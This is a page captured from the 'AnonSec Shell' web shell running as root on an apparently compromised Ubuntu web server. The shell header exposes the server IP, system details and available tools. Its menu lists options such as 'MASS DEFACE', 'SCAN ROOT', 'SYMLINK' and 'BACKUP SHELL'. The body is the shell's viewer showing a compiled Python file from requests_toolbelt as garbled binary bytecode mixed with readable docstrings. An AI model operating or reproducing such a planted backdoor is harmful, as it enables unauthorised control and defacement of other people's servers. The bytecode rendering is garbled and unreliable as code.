AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/requests_toolbelt/adapters/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/requests_toolbelt/adapters/__pycache__/ssl.cpython-310.pyc
o

�ˀX_	�@s8dZddlZddlmZddlmZGdd�de�ZdS)z�

requests_toolbelt.ssl_adapter
=============================

This file contains an implementation of the SSLAdapter originally demonstrated
in this blog post:
https://lukasa.co.uk/2013/01/Choosing_SSL_Version_In_Requests/

�N)�HTTPAdapter�)�poolmanagercsVeZdZdZejdgZd�fdd�	Zd
dd�Zej	d	kr'�fd
d�Z
�ZS�ZS)�
SSLAdapterag
    A HTTPS Adapter for Python Requests that allows the choice of the SSL/TLS
    version negotiated by Requests. This can be used either to enforce the
    choice of high-security TLS versions (where supported), or to work around
    misbehaving servers that fail to correctly negotiate the default TLS
    version being offered.

    Example usage:

        >>> import requests
        >>> import ssl
        >>> from requests_toolbelt import SSLAdapter
        >>> s = requests.Session()
        >>> s.mount('https://', SSLAdapter(ssl.PROTOCOL_TLSv1))

    You can replace the chosen protocol with any that are available in the
    default Python SSL module. All subsequent requests that match the adapter
    prefix will use the chosen SSL version instead of the default.

    This adapter will also attempt to change the SSL/TLS version negotiated by
    Requests when using a proxy. However, this may not always be possible:
    prior to Requests v2.4.0 the adapter did not have access to the proxy setup
    code. In earlier versions of Requests, this adapter will not function
    properly when used with proxies.
    �ssl_versionNcs ||_tt|�jdi|��dS)N�)r�superr�__init__)�selfr�kwargs��	__class__r�@/usr/lib/python3/dist-packages/requests_toolbelt/adapters/ssl.pyr	0szSSLAdapter.__init__FcCstj||||jd�|_dS)N)�	num_pools�maxsize�blockr)r�PoolManagerr)r
�connectionsrrrrr�init_poolmanager5s�zSSLAdapter.init_poolmanagerics |j|d<tt|�j|i|��S)Nr)rrr�proxy_manager_for)r
�argsrrrrr@s
zSSLAdapter.proxy_manager_for)N)F)�__name__�
__module__�__qualname__�__doc__r�	__attrs__r	r�requests�	__build__r�
__classcell__rrrrrs

�r)rr�requests.adaptersr�_compatrrrrrr�<module>s



Anon7 - 2022
AnonSec Team